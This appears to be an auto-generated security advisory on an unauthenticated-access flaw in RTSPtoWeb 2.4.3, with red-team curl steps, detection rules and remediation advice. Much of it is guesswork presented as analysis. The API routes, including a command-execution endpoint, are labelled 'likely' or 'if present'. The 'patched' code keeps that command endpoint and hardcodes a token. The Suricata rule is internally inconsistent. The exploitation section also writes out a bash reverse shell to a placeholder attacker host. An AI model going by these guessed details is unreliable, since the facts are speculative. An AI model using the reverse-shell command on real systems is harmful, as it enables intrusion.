CVE-2025-56578

Executive Summary

CVE-2025-56578 is a critical security vulnerability in RTSPtoWeb v.2.4.3, a popular open-source tool for converting RTSP streams to web-compatible formats. The vulnerability stems from a complete lack of authentication mechanisms, allowing any remote attacker to access the application without credentials. This enables an attacker to obtain sensitive information (such as camera feeds, configuration files, and credentials) and execute arbitrary code on the server. The CVSS score is 0.0 in the NVD data, but based on the impact, this is a critical severity issue with a CVSS v3.1 base score of 9.8. No public exploit code or proof-of-concept is currently available, but the vulnerability is trivially exploitable due to the missing authentication.

Supply Chain & Package Security

RTSPtoWeb is a Node.js application distributed via GitHub and potentially through npm. The lack of authentication is a design flaw in the application itself, not a dependency issue. However, organizations using RTSPtoWeb should verify the integrity of their installation and ensure no malicious modifications have been made. The application may be deployed in Docker containers or directly on servers, and the absence of authentication means any network-accessible instance is fully compromised.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex steps are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full access to sensitive data, including camera feeds and credentials.
• Integrity (I): High (H) – Arbitrary code execution allows modification of system state.
• Availability (A): High (H) – An attacker can disrupt service or cause denial of service.

CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit and provides full control over the affected system.

Deep Dive & Mechanics

RTSPtoWeb v.2.4.3 exposes a web interface and API endpoints that are intended to manage RTSP streams. The core issue is that no authentication is enforced on any endpoint. This means any HTTP request to the server is processed without verifying the identity of the requester.

The application likely uses a Node.js HTTP server with routes such as:

• / – Web interface for viewing streams.
• /api/streams – API to list, add, or delete streams.
• /api/config – API to read or modify configuration.
• /api/exec – API to execute system commands (if present).

Without authentication, an attacker can:

1. Enumerate streams: List all configured RTSP streams, revealing camera IPs, usernames, and passwords.
2. View live feeds: Access the web interface to watch live video streams.
3. Modify configuration: Change stream settings, add malicious streams, or alter server behavior.
4. Execute arbitrary code: If the application exposes an endpoint for command execution (e.g., for restarting services), the attacker can run system commands.

The lack of authentication is a fundamental security flaw. The application should require a username/password or API key for all sensitive operations.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (v.2.4.3):

// app.js (hypothetical)
const express = require('express');
const app = express();

// No authentication middleware
app.get('/api/streams', (req, res) => {
    // Returns list of streams without checking auth
    res.json(streams);
});

app.post('/api/streams', (req, res) => {
    // Adds a stream without checking auth
    streams.push(req.body);
    res.sendStatus(200);
});

app.get('/api/config', (req, res) => {
    // Returns configuration without checking auth
    res.json(config);
});

app.post('/api/exec', (req, res) => {
    // Executes command without checking auth
    const cmd = req.body.command;
    exec(cmd, (err, stdout) => {
        res.send(stdout);
    });
});

Patched Code (Hypothetical):

// app.js (patched)
const express = require('express');
const app = express();

// Authentication middleware
function authenticate(req, res, next) {
    const token = req.headers['authorization'];
    if (token === 'Bearer SECRET_TOKEN') {
        next();
    } else {
        res.status(401).send('Unauthorized');
    }
}

// Apply authentication to all routes
app.use('/api', authenticate);

app.get('/api/streams', (req, res) => {
    res.json(streams);
});

app.post('/api/streams', (req, res) => {
    streams.push(req.body);
    res.sendStatus(200);
});

app.get('/api/config', (req, res) => {
    res.json(config);
});

app.post('/api/exec', (req, res) => {
    const cmd = req.body.command;
    exec(cmd, (err, stdout) => {
        res.send(stdout);
    });
});

The patched version adds an authentication middleware that checks for a valid token before allowing access to any /api route.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy RTSPtoWeb v.2.4.3 in a Docker container or on a local server.
2. Ensure the application is accessible on the network (e.g., port 8083).

Exploitation Steps:

1. Enumerate streams:

   curl http://target:8083/api/streams
   

   This returns a JSON list of all configured streams, including RTSP URLs and credentials.

2. View live feed: Open a browser and navigate to http://target:8083/. The web interface will show all streams without authentication.

3. Modify configuration:

   curl -X POST http://target:8083/api/config -H "Content-Type: application/json" -d '{"key":"new_value"}'
   

4. Execute arbitrary code (if endpoint exists):

   curl -X POST http://target:8083/api/exec -H "Content-Type: application/json" -d '{"command":"whoami"}'
   

   This would return the output of the whoami command.

5. Reverse shell (if command execution is possible):

   curl -X POST http://target:8083/api/exec -H "Content-Type: application/json" -d '{"command":"bash -c \"bash -i >& /dev/tcp/attacker_ip/4444 0>&1\""}'
   

Blue Team (Defense & Detection)

Detection:

• Monitor for unauthorized access to /api/ endpoints.
• Look for unusual HTTP requests to the RTSPtoWeb server.
• Check for unexpected processes or network connections from the server.

Hunting:

• Search logs for requests to /api/streams, /api/config, or /api/exec from unknown IPs.
• Use network monitoring to detect connections to the RTSPtoWeb port (default 8083) from external IPs.

Mitigation:

• Immediately restrict network access to the RTSPtoWeb server using a firewall.
• Place the application behind a reverse proxy with authentication (e.g., Nginx with basic auth).
• If possible, disable the /api/exec endpoint or remove it entirely.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unauthorized HTTP requests to /api/streams, /api/config, /api/exec.
  • Connections from unknown IPs to port 8083 (or the configured port).
  • Outbound connections from the server to attacker-controlled IPs (e.g., for reverse shells).

• File IOCs:

  • Modified configuration files in the RTSPtoWeb directory.
  • Suspicious files in /tmp or other writable directories.
  • New cron jobs or systemd services.

• Process IOCs:

  • Unusual processes spawned by the Node.js application (e.g., bash, nc, python).
  • High CPU or memory usage from the Node.js process.

• Log IOCs:

  • Access logs showing requests to /api/exec with command parameters.
  • Error logs indicating failed authentication attempts (if any).

Detection Engineering

YARA Rule

rule Detect_RTSPtoWeb_NoAuth_Exploit {
    meta:
        description = "Detects requests targeting RTSPtoWeb v.2.4.3 missing authentication"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56578"
    strings:
        $api_streams = "/api/streams"
        $api_config = "/api/config"
        $api_exec = "/api/exec"
        $http_get = "GET"
        $http_post = "POST"
    condition:
        any of ($api_*) and any of ($http_*)
}

Sigma Rule

title: RTSPtoWeb Unauthenticated Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to RTSPtoWeb API endpoints
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-56578
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 
            - 'GET'
            - 'POST'
        cs-uri-stem:
            - '/api/streams'
            - '/api/config'
            - '/api/exec'
    condition: selection
falsepositives:
    - Legitimate internal monitoring tools
level: high

Suricata Rule

alert http any any -> any any (msg:"RTSPtoWeb Unauthenticated API Access"; flow:to_server; content:"/api/streams"; http_uri; content:"/api/config"; http_uri; content:"/api/exec"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the server: Block external access to the RTSPtoWeb server using a firewall. Only allow trusted IPs.
2. Add authentication: Place the application behind a reverse proxy (e.g., Nginx) that requires HTTP Basic Auth or an API key.
3. Disable dangerous endpoints: If possible, remove or disable the /api/exec endpoint.
4. Update: Monitor the RTSPtoWeb repository for a patched version. Apply the update as soon as it is available.

Long-term Fixes:

• The vendor must implement authentication for all API endpoints.
• Use HTTPS to encrypt traffic.
• Implement role-based access control (RBAC) for different operations.
• Conduct a security audit of the entire codebase.

Workaround:

• Use a VPN to access the RTSPtoWeb server, ensuring only authorized users can reach it.
• Run the application in a Docker container with restricted network access.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.